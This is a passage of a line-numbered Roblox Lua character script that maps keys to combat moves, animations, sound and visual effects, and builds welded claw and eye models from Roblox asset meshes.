2757 | end | |
2758 | elseif k=='g' then | |
2759 | if attack==false and mana>=50 then | |
2760 | Twirl() | |
2761 | end | |
2762 | elseif k=='v' then | |
2763 | if attack==false and mana>=25 then | |
2764 | MagicJump() | |
2765 | end | |
2766 | elseif k=='c' then | |
2767 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2768 | attack=true | |
2769 | for i = 1, 40 do | |
2770 | swait() | |
2771 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2772 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2773 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2774 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2775 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2776 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2777 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2778 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2779 | end | |
2780 | Blaze() | |
2781 | attack = false | |
2782 | end | |
2783 | elseif k=='x' then | |
2784 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2785 | attack=true | |
2786 | for i = 1, 15 do | |
2787 | swait() | |
2788 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2789 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2790 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2791 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2792 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2793 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2794 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2795 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2796 | end | |
2797 | so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35) | |
2798 | so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65) | |
2799 | for i = 0, 30 do | |
2800 | BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5) | |
2801 | wait(0.1) | |
2802 | end | |
2803 | local parteffected = Instance.new("Part",tors) | |
2804 | parteffected.Transparency = 1 | |
2805 | parteffected.Position = tors.Position | |
2806 | parteffected.CanCollide = false | |
2807 | parteffected.Anchored = true | |
2808 | so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5) | |
2809 | so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4) | |
2810 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15) | |
2811 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05) | |
2812 | MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05) | |
2813 | BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30) | |
2814 | local sbs = Instance.new("BodyPosition", RootPart) | |
2815 | sbs.P = 3000 | |
2816 | sbs.D = 1000 | |
2817 | sbs.maxForce = Vector3.new(500000, 500000000, 500000) | |
2818 | sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0) | |
2819 | for i = 1, 40 do | |
2820 | swait() | |
2821 | Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1) | |
2822 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1) | |
2823 | RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1) | |
2824 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2825 | LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1) | |
2826 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1) | |
2827 | RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1) | |
2828 | LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1) | |
2829 | end | |
2830 | wait(3) | |
2831 | Blaze2() | |
2832 | attack = false | |
2833 | parteffected:Destroy() | |
2834 | sbs:Destroy() | |
2835 | end | |
2836 | elseif k=='q' then | |
2837 | if attack==false then | |
2838 | idle=1000 | |
2839 | end | |
2840 | elseif k=='h' then | |
2841 | if attack==false then | |
2842 | mana=100 | |
2843 | end | |
2844 | elseif k=='y' then | |
2845 | if attack==false and mana>=100 then | |
2846 | Shred() | |
2847 | end | |
2848 | elseif k=='f' then | |
2849 | if attack==false and mana>=40 then | |
2850 | Spin() | |
2851 | end | |
2852 | elseif k=='r' then | |
2853 | if attack==false and mana>=20 then | |
2854 | Clap() | |
2855 | end | |
2856 | elseif k=='t' then | |
2857 | if attack==false then | |
2858 | Hai() | |
2859 | end | |
2860 | elseif k=='0' then | |
2861 | if attack==false then | |
2862 | Humanoid.WalkSpeed=(24) | |
2863 | end | |
2864 | elseif k=='j' then | |
2865 | if attack==false then | |
2866 | Humanoid.Health = 10 | |
2867 | print("Congrats, you commited suicide.") | |
2868 | end | |
2869 | end | |
2870 | end) | |
2871 | ||
2872 | mouse.KeyDown:connect(function(k) | |
2873 | if k == "z" and Ultramode == false then | |
2874 | if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then | |
2875 | attack = true | |
2876 | for i = 1, 15 do | |
2877 | swait() | |
2878 | Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3) | |
2879 | RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35) | |
2880 | RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35) | |
2881 | RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2882 | LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35) | |
2883 | LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2) | |
2884 | RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35) | |
2885 | LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35) | |
2886 | end | |
2887 | m:Destroy() | |
2888 | local m = Instance.new("Model", Character) | |
2889 | m.Name = "WeaponModel" | |
2890 | local parta = Instance.new("Part",Character) | |
2891 | parta.Size = vt(10,10,10) | |
2892 | parta.BrickColor = BrickColor.new("Really black") | |
2893 | parta.Material = "Neon" | |
2894 | parta.Shape = "Ball" | |
2895 | parta.Transparency = 0 | |
2896 | parta.Anchored = true | |
2897 | parta.CanCollide = false | |
2898 | parta.CFrame = tors.CFrame | |
2899 | Transform() | |
2900 | parta:Destroy() | |
2901 | ||
2902 | local modelzorzz=Instance.new("Model") | |
2903 | modelzorzz.Parent=Character | |
2904 | modelzorzz.Name="Claw1" | |
2905 | ||
2906 | Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2907 | Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963)) | |
2908 | mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2909 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2910 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906)) | |
2911 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2912 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862)) | |
2913 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2914 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2915 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996)) | |
2916 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2917 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459)) | |
2918 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2919 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592)) | |
2920 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2921 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537)) | |
2922 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2923 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266)) | |
2924 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2925 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906)) | |
2926 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2927 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265)) | |
2928 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2929 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829)) | |
2930 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2931 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562)) | |
2932 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2933 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2934 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682)) | |
2935 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2936 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805)) | |
2937 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2938 | Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2939 | Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086)) | |
2940 | mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2941 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2942 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474)) | |
2943 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2944 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2945 | Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891)) | |
2946 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2947 | ||
2948 | local modelzorzz2=Instance.new("Model") | |
2949 | modelzorzz2.Parent=Character | |
2950 | modelzorzz2.Name="Claw2" | |
2951 | ||
2952 | Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3)) | |
2953 | Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559)) | |
2954 | mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1)) | |
2955 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2956 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183)) | |
2957 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2958 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009)) | |
2959 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2960 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139)) | |
2961 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2962 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765)) | |
2963 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2964 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2965 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858)) | |
2966 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2967 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2968 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958)) | |
2969 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2970 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964)) | |
2971 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2972 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2973 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885)) | |
2974 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2975 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137)) | |
2976 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2977 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2978 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696)) | |
2979 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1)) | |
2980 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073)) | |
2981 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2)) | |
2982 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2983 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183)) | |
2984 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2985 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377)) | |
2986 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2987 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329)) | |
2988 | Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1)) | |
2989 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
2990 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
2991 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
2992 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
2993 | ||
2994 | local modelzorzz3=Instance.new("Model") | |
2995 | modelzorzz3.Parent=Character | |
2996 | modelzorzz3.Name="Eye" | |
2997 | ||
2998 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
2999 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
3000 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
3001 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3002 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3003 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
3004 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
3005 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3006 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
3007 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3008 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3009 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
